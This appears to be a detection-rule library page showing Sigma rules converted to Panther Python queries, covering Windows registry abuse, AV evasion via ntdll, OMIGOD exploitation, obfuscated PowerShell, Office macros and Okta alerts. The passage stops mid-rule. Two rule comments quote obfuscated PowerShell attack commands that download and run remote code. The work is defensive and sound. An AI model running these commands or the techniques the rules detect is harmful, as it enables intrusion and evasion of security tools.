SOAR

Panther

3,750 rules · Sigma detections in Panther syntax
The same Sigma detection corpus, machine-rendered into Panther query syntax and ready to paste. Switch platforms above for identical coverage in another language, or choose Sigma (generic) for the portable YAML.
Using these Sigma rules
Deploy. Pick your SIEM above and paste the rendered query straight into a saved search or detection rule, or expand any rule to convert its generic YAML inline to the language you run.
Adapt. Map the field names to your log schema - Sigma assumes a normalised taxonomy - and tune thresholds and timeframes to your own baseline before you trust the alert.
Validate. Every rule is mapped to ATT&CK, so run the matching Atomic Red Team test on /atomic to confirm the rule actually fires before you rely on it.

Detection rules

50 shown of 3,750
high
Non-privileged Usage of Reg or Powershell
Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry
status test author Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community id 8f02c935-effe-45b3-8fc9-ef8696a9e41d
panther query
def rule(event):
    if all(
        [
            any(
                [
                    all(
                        [
                            "reg " in event.deep_get("CommandLine", default=""),
                            "add" in event.deep_get("CommandLine", default=""),
                        ]
                    ),
                    any(
                        [
                            "powershell" in event.deep_get("CommandLine", default=""),
                            "set-itemproperty" in event.deep_get("CommandLine", default=""),
                            " sp " in event.deep_get("CommandLine", default=""),
                            "new-itemproperty" in event.deep_get("CommandLine", default=""),
                        ]
                    ),
                ]
            ),
            event.deep_get("IntegrityLevel", default="") in ["Medium", "S-1-16-8192"],
            "ControlSet" in event.deep_get("CommandLine", default=""),
            "Services" in event.deep_get("CommandLine", default=""),
            any(
                [
                    "ImagePath" in event.deep_get("CommandLine", default=""),
                    "FailureCommand" in event.deep_get("CommandLine", default=""),
                    "ServiceDLL" in event.deep_get("CommandLine", default=""),
                ]
            ),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Non-privileged Usage of Reg or Powershell
id: 8f02c935-effe-45b3-8fc9-ef8696a9e41d
status: test
description: Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry
references:
    - https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg
author: Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community
date: 2020-10-05
modified: 2024-12-01
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    category: process_creation
    product: windows
detection:
    selection_cli:
        - CommandLine|contains|all:
              - 'reg '
              - 'add'
        - CommandLine|contains:
              - 'powershell'
              - 'set-itemproperty'
              - ' sp '
              - 'new-itemproperty'
    selection_data:
        IntegrityLevel:
            - 'Medium'
            - 'S-1-16-8192'
        CommandLine|contains|all:
            - 'ControlSet'
            - 'Services'
        CommandLine|contains:
            - 'ImagePath'
            - 'FailureCommand'
            - 'ServiceDLL'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high
NtdllPipe Like Activity Execution
Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection. As seen being used in the POC NtdllPipe
status test author Florian Roth (Nextron Systems) id bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2
panther query
def rule(event):
    if any(
        [
            "type %windir%\\system32\\ntdll.dll" in event.deep_get("CommandLine", default=""),
            "type %systemroot%\\system32\\ntdll.dll" in event.deep_get("CommandLine", default=""),
            "type c:\\windows\\system32\\ntdll.dll" in event.deep_get("CommandLine", default=""),
            "\\ntdll.dll > \\\\.\\pipe\\" in event.deep_get("CommandLine", default=""),
        ]
    ):
        return True
    return False
view Sigma YAML
title: NtdllPipe Like Activity Execution
id: bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2
status: test
description: Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection. As seen being used in the POC NtdllPipe
references:
    - https://web.archive.org/web/20220306121156/https://www.x86matthew.com/view_post?id=ntdll_pipe
author: Florian Roth (Nextron Systems)
date: 2022-03-05
modified: 2023-03-07
tags:
    - attack.defense-impairment
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'type %windir%\system32\ntdll.dll'
            - 'type %systemroot%\system32\ntdll.dll'
            - 'type c:\windows\system32\ntdll.dll'
            - '\\ntdll.dll > \\\\.\\pipe\\'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high
OMIGOD HTTP No Authentication RCE - CVE-2021-38647
Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.
status stable author Nate Guagenti (neu5ron) id ab6b1a39-a9ee-4ab4-b075-e83acf6e346b
panther query
def rule(event):
    if all(
        [
            event.deep_get("status_code", default="") == 200,
            event.deep_get("uri", default="") == "/wsman",
            event.deep_get("method", default="") == "POST",
            not "AUTHORIZATION" in event.deep_get("client_header_names", default=""),
            not event.deep_get("request_body_len", default="") == 0,
        ]
    ):
        return True
    return False
view Sigma YAML
title: OMIGOD HTTP No Authentication RCE - CVE-2021-38647
id: ab6b1a39-a9ee-4ab4-b075-e83acf6e346b
status: stable
description: |
    Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request.
    Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP).
    Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.
references:
    - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
    - https://twitter.com/neu5ron/status/1438987292971053057?s=20
author: Nate Guagenti (neu5ron)
date: 2021-09-20
modified: 2025-11-03
tags:
    - attack.privilege-escalation
    - attack.initial-access
    - attack.execution
    - attack.lateral-movement
    - attack.t1068
    - attack.t1190
    - attack.t1203
    - attack.t1021.006
    - attack.t1210
    - detection.emerging-threats
    - cve.2021-38647
logsource:
    product: zeek
    service: http
    definition: Enable the builtin Zeek script that logs all HTTP header names by adding "@load policy/protocols/http/header-names" to your local.zeek config file. The script can be seen here for reference https://github.com/zeek/zeek/blob/d957f883df242ef159cfd846884e673addeea7a5/scripts/policy/protocols/http/header-names.zeek
detection:
    selection:
        status_code: 200
        uri: /wsman
        method: POST
    auth_header:
        client_header_names|contains: 'AUTHORIZATION'
    too_small_http_client_body:
        request_body_len: 0
    # winrm_ports:
    #    id.resp_p:
    #        -  5985
    #        -  5986
    #        -  1270
    condition: selection and not auth_header and not too_small_http_client_body
    # condition: selection and winrm_ports and not auth_header and not too_small_http_client_body # Enable this to only perform search on default WinRM ports, however those ports are sometimes changed and therefore this is disabled by default to give a broader coverage of this rule
falsepositives:
    - Exploits that were attempted but unsuccessful.
    - Scanning attempts with the abnormal use of the HTTP POST method with no indication of code execution within the HTTP Client (Request) body. An example would be vulnerability scanners trying to identify unpatched versions while not actually exploiting the vulnerability. See description for investigation tips.
level: high
Convert to SIEM query
high
OMIGOD SCX RunAsProvider ExecuteScript
Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
status test author Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC id 6eea1bf6-f8d2-488a-a742-e6ef6c1b67db
panther query
def rule(event):
    if all(
        [
            event.deep_get("User", default="") == "root",
            event.deep_get("LogonId", default="") == 0,
            event.deep_get("CurrentDirectory", default="") == "/var/opt/microsoft/scx/tmp",
            "/etc/opt/microsoft/scx/conf/tmpdir/scx" in event.deep_get("CommandLine", default=""),
        ]
    ):
        return True
    return False
view Sigma YAML
title: OMIGOD SCX RunAsProvider ExecuteScript
id: 6eea1bf6-f8d2-488a-a742-e6ef6c1b67db
status: test
description: |
    Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.
    Script being executed gets created as a temp file in /tmp folder with a scx* prefix.
    Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.
    The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
    Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
references:
    - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
    - https://github.com/Azure/Azure-Sentinel/pull/3059
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC
date: 2021-10-15
modified: 2022-10-05
tags:
    - attack.privilege-escalation
    - attack.initial-access
    - attack.execution
    - attack.t1068
    - attack.t1190
    - attack.t1203
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        User: root
        LogonId: 0
        CurrentDirectory: '/var/opt/microsoft/scx/tmp'
        CommandLine|contains: '/etc/opt/microsoft/scx/conf/tmpdir/scx'
    condition: selection
falsepositives:
    - Legitimate use of SCX RunAsProvider ExecuteScript.
level: high
Convert to SIEM query
high
OMIGOD SCX RunAsProvider ExecuteShellCommand
Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
status test author Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC id 21541900-27a9-4454-9c4c-3f0a4240344a
panther query
def rule(event):
    if all(
        [
            event.deep_get("User", default="") == "root",
            event.deep_get("LogonId", default="") == 0,
            event.deep_get("CurrentDirectory", default="") == "/var/opt/microsoft/scx/tmp",
            "/bin/sh" in event.deep_get("CommandLine", default=""),
        ]
    ):
        return True
    return False
view Sigma YAML
title: OMIGOD SCX RunAsProvider ExecuteShellCommand
id: 21541900-27a9-4454-9c4c-3f0a4240344a
status: test
description: |
    Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.
    SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
    Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
references:
    - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
    - https://github.com/Azure/Azure-Sentinel/pull/3059
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC
date: 2021-10-15
modified: 2022-10-05
tags:
    - attack.privilege-escalation
    - attack.initial-access
    - attack.execution
    - attack.t1068
    - attack.t1190
    - attack.t1203
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        User: root
        LogonId: 0
        CurrentDirectory: '/var/opt/microsoft/scx/tmp'
        CommandLine|contains: '/bin/sh'
    condition: selection
falsepositives:
    - Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand.
level: high
Convert to SIEM query
high
OSACompile Run-Only Execution
Detects potential suspicious run-only executions compiled using OSACompile
status test author Sohan G (D4rkCiph3r) id b9d9b652-d8ed-4697-89a2-a1186ee680ac
panther query
def rule(event):
    if all(
        [
            "osacompile" in event.deep_get("CommandLine", default=""),
            " -x " in event.deep_get("CommandLine", default=""),
            " -e " in event.deep_get("CommandLine", default=""),
        ]
    ):
        return True
    return False
view Sigma YAML
title: OSACompile Run-Only Execution
id: b9d9b652-d8ed-4697-89a2-a1186ee680ac
status: test
description: Detects potential suspicious run-only executions compiled using OSACompile
references:
    - https://redcanary.com/blog/applescript/
    - https://ss64.com/osx/osacompile.html
author: Sohan G (D4rkCiph3r)
date: 2023-01-31
tags:
    - attack.t1059.002
    - attack.execution
logsource:
    product: macos
    category: process_creation
detection:
    selection:
        CommandLine|contains|all:
            - 'osacompile'
            - ' -x '
            - ' -e '
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high
Obfuscated PowerShell MSI Install via WindowsInstaller COM
Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`). The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.
status experimental author Meroujan Antonyan (vx3r) id 7b6a7418-3afc-11f0-aff4-000d3abf478c
panther query
def rule(event):
    if all(
        [
            any(
                [
                    any(
                        [
                            event.deep_get("Image", default="").endswith("\\powershell_ise.exe"),
                            event.deep_get("Image", default="").endswith("\\powershell.exe"),
                            event.deep_get("Image", default="").endswith("\\pwsh.exe"),
                        ]
                    ),
                    event.deep_get("OriginalFileName", default="")
                    in ["PowerShell_ISE.EXE", "PowerShell.EXE", "pwsh.dll"],
                ]
            ),
            "-ComObject" in event.deep_get("CommandLine", default=""),
            "InstallProduct(" in event.deep_get("CommandLine", default=""),
            ".Insert(" in event.deep_get("CommandLine", default=""),
            "UILevel" in event.deep_get("CommandLine", default=""),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Obfuscated PowerShell MSI Install via WindowsInstaller COM
id: 7b6a7418-3afc-11f0-aff4-000d3abf478c
status: experimental
description: |
    Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).
    The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting
    malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection
    by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with
    hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.
references:
    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
author: Meroujan Antonyan (vx3r)
date: 2025-05-27
tags:
    - attack.stealth
    - attack.t1027.010
    - attack.t1218.007
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    # Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://example.com/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')";
    selection_img:
        - Image|endswith:
              - '\powershell_ise.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell_ISE.EXE'
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli:
        CommandLine|contains|all:
            - '-ComObject'
            - 'InstallProduct('
            - '.Insert('
            - 'UILevel'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high
Obfuscated PowerShell OneLiner Execution
Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
status test author @Kostastsale, TheDFIRReport id 44e24481-6202-4c62-9127-5a0ae8e3fe3d
panther query
def rule(event):
    if all(
        [
            event.deep_get("Image", default="").endswith("\\powershell.exe"),
            "http://127.0.0.1" in event.deep_get("CommandLine", default=""),
            "%{(IRM $_)}" in event.deep_get("CommandLine", default=""),
            "Invoke" in event.deep_get("CommandLine", default=""),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Obfuscated PowerShell OneLiner Execution
id: 44e24481-6202-4c62-9127-5a0ae8e3fe3d
status: test
description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
references:
    - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
    - https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
author: '@Kostastsale, TheDFIRReport'
date: 2022-05-09
modified: 2025-04-16
tags:
    - attack.execution
    - attack.defense-impairment
    - attack.t1059.001
    - attack.t1685
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        # Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - 'http://127.0.0.1'
            - '%{(IRM $_)}'
            - 'Invoke'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high
Octopus Scanner Malware
Detects Octopus Scanner Malware.
status test author NVISO id 805c55d9-31e6-4846-9878-c34c75054fe9
panther query
def rule(event):
    if any(
        [
            event.deep_get("TargetFilename", default="").endswith(
                "\\AppData\\Local\\Microsoft\\Cache134.dat"
            ),
            event.deep_get("TargetFilename", default="").endswith(
                "\\AppData\\Local\\Microsoft\\ExplorerSync.db"
            ),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Octopus Scanner Malware
id: 805c55d9-31e6-4846-9878-c34c75054fe9
status: test
description: Detects Octopus Scanner Malware.
references:
    - https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain
author: NVISO
date: 2020-06-09
modified: 2021-11-27
tags:
    - attack.initial-access
    - attack.t1195
    - attack.t1195.001
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|endswith:
            - '\AppData\Local\Microsoft\Cache134.dat'
            - '\AppData\Local\Microsoft\ExplorerSync.db'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high
Odbcconf.EXE Suspicious DLL Location
Detects execution of "odbcconf" where the path of the DLL being registered is located in a potentially suspicious location.
status test author Nasreddine Bencherchali (Nextron Systems) id 6b65c28e-11f3-46cb-902a-68f2cafaf474
panther query
def rule(event):
    if all(
        [
            any(
                [
                    event.deep_get("Image", default="").endswith("\\odbcconf.exe"),
                    event.deep_get("OriginalFileName", default="") == "odbcconf.exe",
                ]
            ),
            any(
                [
                    ":\\PerfLogs\\" in event.deep_get("CommandLine", default=""),
                    ":\\ProgramData\\" in event.deep_get("CommandLine", default=""),
                    ":\\Temp\\" in event.deep_get("CommandLine", default=""),
                    ":\\Users\\Public\\" in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\Registration\\CRMLog" in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\System32\\com\\dmp\\" in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\System32\\FxsTmp\\" in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\System32\\Microsoft\\Crypto\\RSA\\MachineKeys\\"
                    in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\System32\\spool\\drivers\\color\\"
                    in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\System32\\spool\\PRINTERS\\"
                    in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\System32\\spool\\SERVERS\\"
                    in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\System32\\Tasks_Migrated\\"
                    in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\System32\\Tasks\\Microsoft\\Windows\\SyncCenter\\"
                    in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\SysWOW64\\com\\dmp\\" in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\SysWOW64\\FxsTmp\\" in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\SysWOW64\\Tasks\\Microsoft\\Windows\\PLA\\System\\"
                    in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\SysWOW64\\Tasks\\Microsoft\\Windows\\SyncCenter\\"
                    in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\Tasks\\" in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\Temp\\" in event.deep_get("CommandLine", default=""),
                    ":\\Windows\\Tracing\\" in event.deep_get("CommandLine", default=""),
                    "\\AppData\\Local\\Temp\\" in event.deep_get("CommandLine", default=""),
                    "\\AppData\\Roaming\\" in event.deep_get("CommandLine", default=""),
                ]
            ),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Odbcconf.EXE Suspicious DLL Location
id: 6b65c28e-11f3-46cb-902a-68f2cafaf474
status: test
description: Detects execution of "odbcconf" where the path of the DLL being registered is located in a potentially suspicious location.
references:
    - https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16
    - https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html
    - https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-22
modified: 2023-05-26
tags:
    - attack.stealth
    - attack.t1218.008
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\odbcconf.exe'
        - OriginalFileName: 'odbcconf.exe'
    selection_cli:
        # Note: Add more suspicious locations
        CommandLine|contains:
            - ':\PerfLogs\'
            - ':\ProgramData\'
            - ':\Temp\'
            - ':\Users\Public\'
            - ':\Windows\Registration\CRMLog'
            - ':\Windows\System32\com\dmp\'
            - ':\Windows\System32\FxsTmp\'
            - ':\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\'
            - ':\Windows\System32\spool\drivers\color\'
            - ':\Windows\System32\spool\PRINTERS\'
            - ':\Windows\System32\spool\SERVERS\'
            - ':\Windows\System32\Tasks_Migrated\'
            - ':\Windows\System32\Tasks\Microsoft\Windows\SyncCenter\'
            - ':\Windows\SysWOW64\com\dmp\'
            - ':\Windows\SysWOW64\FxsTmp\'
            - ':\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System\'
            - ':\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter\'
            - ':\Windows\Tasks\'
            - ':\Windows\Temp\'
            - ':\Windows\Tracing\'
            - '\AppData\Local\Temp\'
            - '\AppData\Roaming\'
    condition: all of selection_*
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
Office Macro File Creation From Suspicious Process
Detects the creation of a office macro file from a a suspicious process
status test author frack113, Nasreddine Bencherchali (Nextron Systems) id b1c50487-1967-4315-a026-6491686d860e
panther query
def rule(event):
    if all(
        [
            any(
                [
                    any(
                        [
                            event.deep_get("Image", default="").endswith("\\cscript.exe"),
                            event.deep_get("Image", default="").endswith("\\mshta.exe"),
                            event.deep_get("Image", default="").endswith("\\regsvr32.exe"),
                            event.deep_get("Image", default="").endswith("\\rundll32.exe"),
                            event.deep_get("Image", default="").endswith("\\wscript.exe"),
                        ]
                    ),
                    any(
                        [
                            event.deep_get("ParentImage", default="").endswith("\\cscript.exe"),
                            event.deep_get("ParentImage", default="").endswith("\\mshta.exe"),
                            event.deep_get("ParentImage", default="").endswith("\\regsvr32.exe"),
                            event.deep_get("ParentImage", default="").endswith("\\rundll32.exe"),
                            event.deep_get("ParentImage", default="").endswith("\\wscript.exe"),
                        ]
                    ),
                ]
            ),
            any(
                [
                    event.deep_get("TargetFilename", default="").endswith(".docm"),
                    event.deep_get("TargetFilename", default="").endswith(".dotm"),
                    event.deep_get("TargetFilename", default="").endswith(".xlsm"),
                    event.deep_get("TargetFilename", default="").endswith(".xltm"),
                    event.deep_get("TargetFilename", default="").endswith(".potm"),
                    event.deep_get("TargetFilename", default="").endswith(".pptm"),
                ]
            ),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Office Macro File Creation From Suspicious Process
id: b1c50487-1967-4315-a026-6491686d860e
status: test
description: Detects the creation of a office macro file from a a suspicious process
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md
    - https://learn.microsoft.com/en-us/deployoffice/compat/office-file-format-reference
author: frack113, Nasreddine Bencherchali (Nextron Systems)
date: 2022-01-23
modified: 2023-02-22
tags:
    - attack.initial-access
    - attack.t1566.001
logsource:
    category: file_event
    product: windows
    definition: 'Requirements: The "ParentImage" field is not available by default on EID 11 of Sysmon logs. To be able to use this rule to the full extent you need to enriche the log with additional ParentImage data'
detection:
    selection_cmd:
        - Image|endswith:
              - '\cscript.exe'
              - '\mshta.exe'
              - '\regsvr32.exe'
              - '\rundll32.exe'
              - '\wscript.exe'
        # Note: ParentImage is a custom field and is not available by default on Sysmon EID 11
        - ParentImage|endswith:
              - '\cscript.exe'
              - '\mshta.exe'
              - '\regsvr32.exe'
              - '\rundll32.exe'
              - '\wscript.exe'
    selection_ext:
        TargetFilename|endswith:
            - '.docm'
            - '.dotm'
            - '.xlsm'
            - '.xltm'
            - '.potm'
            - '.pptm'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high
Office Macros Warning Disabled
Detects registry changes to Microsoft Office "VBAWarning" to a value of "1" which enables the execution of all macros, whether signed or unsigned.
status test author Trent Liffick (@tliffick), Nasreddine Bencherchali (Nextron Systems) id 91239011-fe3c-4b54-9f24-15c86bb65913
panther query
def rule(event):
    if all(
        [
            event.deep_get("TargetObject", default="").endswith("\\Security\\VBAWarnings"),
            event.deep_get("Details", default="") == "DWORD (0x00000001)",
        ]
    ):
        return True
    return False
view Sigma YAML
title: Office Macros Warning Disabled
id: 91239011-fe3c-4b54-9f24-15c86bb65913
related:
    - id: 9b894e57-033f-46cf-b7fa-a52804181973
      type: obsolete
status: test
description: Detects registry changes to Microsoft Office "VBAWarning" to a value of "1" which enables the execution of all macros, whether signed or unsigned.
references:
    - https://twitter.com/inversecos/status/1494174785621819397
    - https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/
    - https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/
author: Trent Liffick (@tliffick), Nasreddine Bencherchali (Nextron Systems)
date: 2020-05-22
modified: 2024-03-19
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|endswith: '\Security\VBAWarnings'
        Details: 'DWORD (0x00000001)'
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
Okta FastPass Phishing Detection
Detects when Okta FastPass prevents a known phishing site.
status test author Austin Songer @austinsonger id ee39a9f7-5a79-4b0a-9815-d36b3cf28d3e
panther query
def rule(event):
    if all(
        [
            event.deep_get("outcome", "reason", default="") == "FastPass declined phishing attempt",
            event.deep_get("outcome", "result", default="") == "FAILURE",
            event.deep_get("eventType", default="") == "user.authentication.auth_via_mfa",
        ]
    ):
        return True
    return False
view Sigma YAML
title: Okta FastPass Phishing Detection
id: ee39a9f7-5a79-4b0a-9815-d36b3cf28d3e
status: test
description: Detects when Okta FastPass prevents a known phishing site.
references:
    - https://sec.okta.com/fastpassphishingdetection
    - https://developer.okta.com/docs/reference/api/system-log/
    - https://developer.okta.com/docs/reference/api/event-types/
author: Austin Songer @austinsonger
date: 2023-05-07
modified: 2026-04-27
tags:
    - attack.initial-access
    - attack.t1566
logsource:
    product: okta
    service: okta
detection:
    selection:
        outcome.reason: 'FastPass declined phishing attempt'
        outcome.result: FAILURE
        eventType: user.authentication.auth_via_mfa
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
Okta New Admin Console Behaviours
Detects when Okta identifies new activity in the Admin Console.
status test author kelnage id a0b38b70-3cb5-484b-a4eb-c4d8e7bcc0a9
panther query
def rule(event):
    if all(
        [
            event.deep_get("eventType", default="") == "policy.evaluate_sign_on",
            event.deep_get("target", "displayName", default="") == "Okta Admin Console",
            any(
                [
                    "POSITIVE"
                    in event.deep_get("debugContext", "debugData", "behaviors", default=""),
                    "POSITIVE"
                    in event.deep_get(
                        "debugContext", "debugData", "logOnlySecurityData", default=""
                    ),
                ]
            ),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Okta New Admin Console Behaviours
id: a0b38b70-3cb5-484b-a4eb-c4d8e7bcc0a9
status: test
description: Detects when Okta identifies new activity in the Admin Console.
references:
    - https://developer.okta.com/docs/reference/api/system-log/
    - https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
author: kelnage
date: 2023-09-07
modified: 2026-04-27
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.initial-access
    - attack.stealth
    - attack.t1078.004
logsource:
    product: okta
    service: okta
detection:
    selection_event:
        eventType: 'policy.evaluate_sign_on'
        target.displayName: 'Okta Admin Console'
    selection_positive:
        - debugContext.debugData.behaviors|contains: 'POSITIVE'
        - debugContext.debugData.logOnlySecurityData|contains: 'POSITIVE'
    condition: all of selection_*
falsepositives:
    - When an admin begins using the Admin Console and one of Okta's heuristics incorrectly identifies the behavior as being unusual.
level: high
Convert to SIEM query
high
Okta Suspicious Activity Reported by End-user
Detects when an Okta end-user reports activity by their account as being potentially suspicious.
status test author kelnage id 07e97cc6-aed1-43ae-9081-b3470d2367f1
panther query
def rule(event):
    if (
        event.deep_get("eventType", default="")
        == "user.account.report_suspicious_activity_by_enduser"
    ):
        return True
    return False
view Sigma YAML
title: Okta Suspicious Activity Reported by End-user
id: 07e97cc6-aed1-43ae-9081-b3470d2367f1
status: test
description: Detects when an Okta end-user reports activity by their account as being potentially suspicious.
references:
    - https://developer.okta.com/docs/reference/api/system-log/
    - https://github.com/okta/workflows-templates/blob/1164f0eb71ce47c9ddc7d850e9ab87b5a2b42333/workflows/suspicious_activity_reported/readme.md
author: kelnage
date: 2023-09-07
modified: 2026-04-27
tags:
    - attack.resource-development
    - attack.t1586.003
logsource:
    product: okta
    service: okta
detection:
    selection:
